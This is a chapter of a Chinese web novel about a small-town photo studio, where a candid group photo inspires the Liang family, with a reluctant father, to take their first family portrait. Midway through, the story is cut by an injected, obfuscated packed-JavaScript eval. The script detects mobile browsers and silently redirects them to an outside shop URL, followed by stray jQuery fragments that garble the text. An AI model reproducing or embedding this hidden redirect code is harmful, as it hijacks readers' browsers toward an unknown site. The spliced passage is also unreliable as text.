那张照相馆合影洗出来的第二天，就被韩师傅挂进了橱窗。
位置还挺显眼，正挨着一对新人的结婚照。
照片里没有一个人正经看镜头。
陶小满站在话筒前，嘴巴张到一半，像刚喊完“北门陶记包子”；孟小舟侧过脸，正皱着眉纠正她；周念安低头写点歌本，只露出清秀的侧脸；梁潮生蹲在地上修录音机，嘴里还咬着螺丝刀。
韩师傅自己只拍进去半颗脑袋。
可偏偏就是这张歪歪斜斜的照片，成了橱窗里最招人看的那一张。
早上开门没多久，门口便围了几个买菜回来的阿姨。
“这个是小孟吧？”
“她不是不在学校了吗？”
“旁边那个是周家三丫头，作文上广播那个。”
“蹲地上的谁啊？怎么拍照还不抬头？”
梁潮生正好推着自行车过来，听见这句，往橱窗前一站。
“本人。”他说，“主要是脸太抢镜，怕影响其他同志。”
几个阿姨看了看照片，又看了看他。
其中一个很诚恳地说：“照片里看着老实点。”
梁潮生：“……”
周念安从后面走来，手里抱着点歌本，正好看见他被堵得没话说，嘴角轻轻弯了一下。
梁潮生转头就抓住了。
“你又笑我。”
“没有。”
“我现在发现，你说没有的时候，通常就是有。”
周念安从他身边过去：“让一让，挡门了。”
“周厂长，现在店还不是你的，别这么早进入状态。”
话音刚落，韩师傅就从里面扔出一块抹布。
“先把橱窗擦了！昨天下雨，全是泥点子。”
梁潮生接住抹布，叹了口气：“看见没，我现在是店里最低级的。”
周念安认真纠正：“你没拿工资，不算店里的人。”
“那我属于什么？”
“长期占用场地人员。”
韩师傅在里面笑得茶水差点洒出来。
上午第一拨客人，是个来拍工作证照片的年轻女工。
她进门时很紧张，一只手拽着工装下摆，问了三遍头发乱不乱。韩师傅让她坐下，她背绷得像块木板，嘴也抿得死紧。
梁潮生在旁边看了一会儿，说：“你再这么坐，照片洗出来像来厂里讨债的。”
女工一下笑了。
韩师傅趁机按快门。
咔嚓。
拍完后，那女工看着橱窗里的合影，忽然问：“你们能不能也给我家拍一张这样的？”
韩师傅抬头：“哪样？”
“不用都坐直，不用都盯着镜头。”她指着玻璃，“就像家里平时那样。”
韩师傅顺着她的手看过去。
这要求以前很少有人提。
大家来照相馆，总想着拍得体面。衣服要抻平，头发要梳齐，坐姿要端正，最好再摆盆塑料花。仿佛只有这样，照片才配被装进相框，摆在家里最显眼的地方。
可橱窗里那张照片什么都不端正。
甚至有点乱。
却比旁边那些标准笑容更像日子。
韩师傅想了想：“能拍。不过要约时间，带家里人来。”
女工高高兴兴交了定金。
人一走，韩师傅便把那五毛钱往柜台上一拍，目光落到梁潮生身上。
“听见没有？”
梁潮生正在给录音机缠胶带：“听见了。人家想拍活的，不想拍成墙上的奖状。”
韩师傅骂：“好好说话。”
“意思差不多。”
周念安在点歌本后面添了一页，写下：
家庭合影预约。
韩师傅探头看了一眼：“这也记？”
“免得忘。”
“我开这么多年店，也没记这么细。”
梁潮生在旁边接话：“所以您经常忘谁交过钱。”
韩师傅抬手就要打他。
他抱着录音机躲到周念安身后：“周厂长，保护技术人员。”
周念安往旁边让了一步。
“我不保护长期占用场地人员。”
梁潮生险些被韩师傅一巴掌拍中。
照相馆里正闹着，门口忽然出现一个熟悉的人影。
宋玉兰手里提着一只搪瓷饭盒，围巾系得有些松，站在门外往里看。她看见梁潮生，先笑了笑，目光落到周念安身上后，笑意更明显。
“念安也在啊。”
梁潮生扶着柜台站稳：“妈，你怎么来了？”
“给你送面。”
“不是吃过了吗？”
“昨天那碗你又没吃几口。”宋玉兰把饭盒放到柜台上，“你爸一回来就沉着脸，潮平检查写不完，你端着碗跑了，面都坨了。”
梁潮生低头开饭盒。
里面是新煮的面，卧了一个荷包蛋，还放了几根青菜。
韩师傅看得眼热：“小梁，你妈手艺不错啊。”
宋玉兰忙说：“韩师傅也尝尝？”
“不了不了，孩子生日面，我吃算怎么回事。”
梁潮生夹起一筷子，嘴上还不忘说：“您刚才拿抹布打我的时候，没想起我是孩子。”
“少贫。”
宋玉兰没立刻走。
她站在橱窗前，看着那张合影，看了很久。
梁潮生吃了几口面，察觉不对：“妈，你还有事？”
“没有。”
“那你看什么？”
“看看照相。”
她说得含糊，手指却一直搓着饭盒盖边缘。
韩师傅最会看人，立刻问：“想照一张？”
宋玉兰不好意思地笑：“我们家……好像没拍过全家福。”
梁潮生吃面的动作停住。
梁家确实没有全家福。
家里有梁潮生小时候抱西瓜那张，有梁潮平满月时的单人照，还有一张梁振山年轻时穿工装站在厂门口的照片。四个人一起的，一张也没有。
不是没想过。
是每次都不合适。
梁振山说拍照浪费钱；梁潮平小时候坐不住；宋玉兰总想着等大家换件好衣服；梁潮生再大一点，又总不在家。
一年拖一年。
最后谁也没再提。
宋玉兰低声说：“正好你过生日。我想着，要不拍一张。”
梁潮生把面咽下去：“我爸肯来？”
宋玉兰神色有一点不自然。
“我还没跟他说。”
“那就是不来。”
“你这孩子。”宋玉兰轻轻拍了他一下，“不问怎么知道？”
梁潮生没再说话。
他低头搅了搅饭盒里的面。
那颗荷包蛋被筷子戳破，蛋黄慢慢流进汤里。宋玉兰看着他的侧脸，像想说什么，又不好当着这么多人说。
周念安忽然合上点歌本。
“阿姨，今天下午厂里换班早。”
宋玉兰看向她。
“梁叔叔四点半下班。”周念安说，“您带梁潮平过来，梁潮生在这里等。梁叔叔如果不愿意拍，就让他来接人。”
宋玉兰愣住：“他要是不进来呢？”
梁潮生靠着柜台，慢悠悠道：“那韩叔可以把相机搬到门口，偷拍一张。”
韩师傅瞪他：“我这是正经照相馆！”
周念安说：“让他先来再说。”
她语气平静，像只是在安排一件普通的小事。
宋玉兰却像终于有了点底气，用力点头。
“行。我回去跟他说。”
她走后，梁潮生一边吃面，一边看周念安。
看得太久，周念安终于抬头：“怎么了？”
“你挺会安排别人家。”
“你不想拍？”
“没说不想。”
“那就拍。”
梁潮生低头笑了一下：“周念安，你以后要是当领导，手底下人估计连拒绝都不知道怎么拒绝。”
“你可以拒绝。”
“算了。”他说，“面都送来了。”
下午四点半，宋玉兰果然来了。
梁潮平被她换了件干净衬衫，头发也沾水压过，整个人比平时规矩不少。他一进门就往橱窗看，看到梁潮生那张合影，立刻笑出声。
“哥，你蹲着像修下水道的。”
梁潮生一把勾住他后颈：“你检查写完了？”
梁潮平瞬间闭嘴。
宋玉兰在后头整理衣服，嘴里不停念叨：“潮平，领子翻好。潮生，你把夹克脱了，里面那件衬衫不是挺干净吗？别坐那张椅子，韩师傅还没擦。”
她忙得像全家福已经开始拍了。
唯独梁振山没来。
四点四十。
四点五十。
宋玉兰往门外看了好几次。
梁潮平忍不住问：“爸是不是不来了？”
宋玉兰低头整理一只根本不用再整理的袖口：“再等等。”
梁潮生靠在门框边，没什么表情。
“别等了。”他说，“三个人也能拍。”
宋玉兰抬头：“四个人的才叫全家福。”
“谁规定的？”
“我规定的。”
她难得硬气一次。
梁潮生没再说话。
五点过几分，厂区下班的人渐渐多起来。自行车铃声一阵接一阵，巷口全是蓝工装和饭盒碰撞的声音。
梁振山终于出现在照相馆门口。
他没进来。
只站在外面，脸拉得很长。
“回家吃饭。”他说。
宋玉兰往前走了一步：“先进来拍张照。”
“拍什么照？钱多了烧的？”
“韩师傅说不要多少钱。”
“不要钱就更不能拍。欠人情。”
韩师傅在柜台后咳了一声：“梁师傅，正常收费，一块五，概不赊账。”
梁振山：“……”
梁潮生偏过头，忍住笑。
宋玉兰从围裙兜里掏出早就准备好的一块五，放在柜台上。
“钱我交。”
梁振山脸更沉：“宋玉兰，你什么时候学会先斩后奏了？”
“你不是也会吗？”
这句话一出，屋里一下安静。
她说的是志愿表的事。
梁振山显然也听懂了，脸色一阵青一阵白。
宋玉兰没有继续刺他，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725713|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只把话说完：“以前什么事都是你说了算。这次一张照片，我说了算。”
她声音不高，手却没有抖。
梁振山站在门外，半天没动。
最后还是梁潮平开口：“爸，进来吧。拍完还得回去写检查。”
梁振山瞪他：“你还有脸说？”
“就是没脸，才要趁现在拍。”梁潮平小声嘀咕，“以后万一更丑……”
梁潮生没忍住，一巴掌拍在他后脑勺上。
“会不会说话？”
屋里憋着的气一下散了些。
梁振山在门口站了一会儿，终于迈进来。
他坐到蓝布帘前时，脸色比工作证照片还严肃。
宋玉兰坐在他旁边，双手放在膝上，也紧张得不行。梁潮平坐不住，脚尖一直蹭地。梁潮生最随便，往椅背上一靠，领口也没扣好。
韩师傅从相机后抬头。
“小梁，坐直。”
“我挺直的。”
“你都快躺下了。”
“这是自然。”
韩师傅又看梁振山：“梁师傅，稍微笑一笑。”
梁振山绷着脸：“拍照有什么好笑的？”
韩师傅：“……”
周念安站在旁边，看着这四个人。
他们坐得并不齐。
梁振山和梁潮生之间隔着一点距离，宋玉兰努力往中间靠，梁潮平的膝盖还在晃。谁都不自在，谁都像随时会站起来说“不拍了”。
她忽然开口：“梁潮平，你检查里‘冒充’写对了吗？”
梁潮平脸一红：“写对了！”
梁潮生立刻说：“他抄我写的。”
“我没有！”
“那你把冒字写一遍。”
“现在怎么写？”
“看吧，不会。”
梁潮平气得扑过去要抢他哥手里的螺丝刀。
宋玉兰连忙拦：“别闹！正拍照呢！”
梁振山原本还绷着，见两个儿子挤成一团，终于忍不住骂了一句：“一大一小，没一个省心。”
可骂完，他嘴角松了一点。
就是这一瞬。
韩师傅按下快门。
咔嚓。
没人看镜头。
梁潮平正伸手抢东西，梁潮生偏着头笑，宋玉兰一只手拦着小儿子，另一只手还下意识护着大儿子的饭盒。梁振山坐在最边上，嘴角有一点没收回去的笑。
拍完后，韩师傅说：“就这张。”
梁振山立刻皱眉：“刚才那么乱，能看吗？”
韩师傅把相机收起来：“等洗出来再说。”
宋玉兰却松了一口气，像总算完成了一件惦记很多年的大事。
她站起来时，眼睛有点红。
“能看。”她说，“一家人都在，就能看。”
梁潮生听见了，没接话。
他低头把夹克穿好，动作比平时慢一点。
照片是当天晚上洗出来的。
红灯下，梁家四个人一点点从相纸里浮出来。
没有谁特别体面。
梁振山工装袖口还沾着油，宋玉兰头发有点乱，梁潮平衬衫被扯歪，梁潮生更不像正经拍照的人。
可他们都活生生地挤在那张照片里。
韩师傅把照片夹起来，满意地点头。
“这才叫全家福。”
梁潮生站在暗房门口，看了很久。
周念安在旁边没有催。
过了会儿，他忽然问：“能多洗一张吗？”
韩师傅头也不抬：“又多洗？你们最近一个个都学会留底了。”
梁潮生说：“一张给我妈，一张我留着。”
周念安看了他一眼。
他立刻补充：“重要证物。”
“嗯。”
她没有拆穿。
韩师傅把相纸重新放进药水里，忽然像想起什么，叹了口气。
“小梁。”
“怎么？”
“这店，可能开不到明年了。”
暗房里一下静下来。
梁潮生抬头：“什么意思？”
韩师傅用夹子拨了拨相纸，语气故作轻松：“我儿子从南边来信，让我过去。他说那边照相馆用的新机器多，赚钱也快。我年纪大了，他不放心我一个人在这儿。”
梁潮生脸上的笑慢慢没了。
“那红叶呢？”
韩师傅看着昏红灯光下的小屋。
墙上挂着底片，桌上放着药水，外面那只旧铃铛被风吹得轻轻响。
“关了呗。”他说。
“店又不是人，关了也不会哭。”
梁潮生没说话。
周念安也看向门外。
橱窗里，那张歪歪斜斜的合影还挂在灯下。
照相馆里有人来过，有声音留下，有报名照被带去远处，有迟到多年的道歉被装进磁带，也有梁家第一张全家福，正在药水里慢慢显出来。
如果店关了，这些东西会去哪里？
韩师傅把新洗出的照片夹起来。
“还早呢。”他说，“过完年再说。”
可梁潮生看着那张湿漉漉的全家福，第一次觉得，过完年这三个字，也可能来得很快。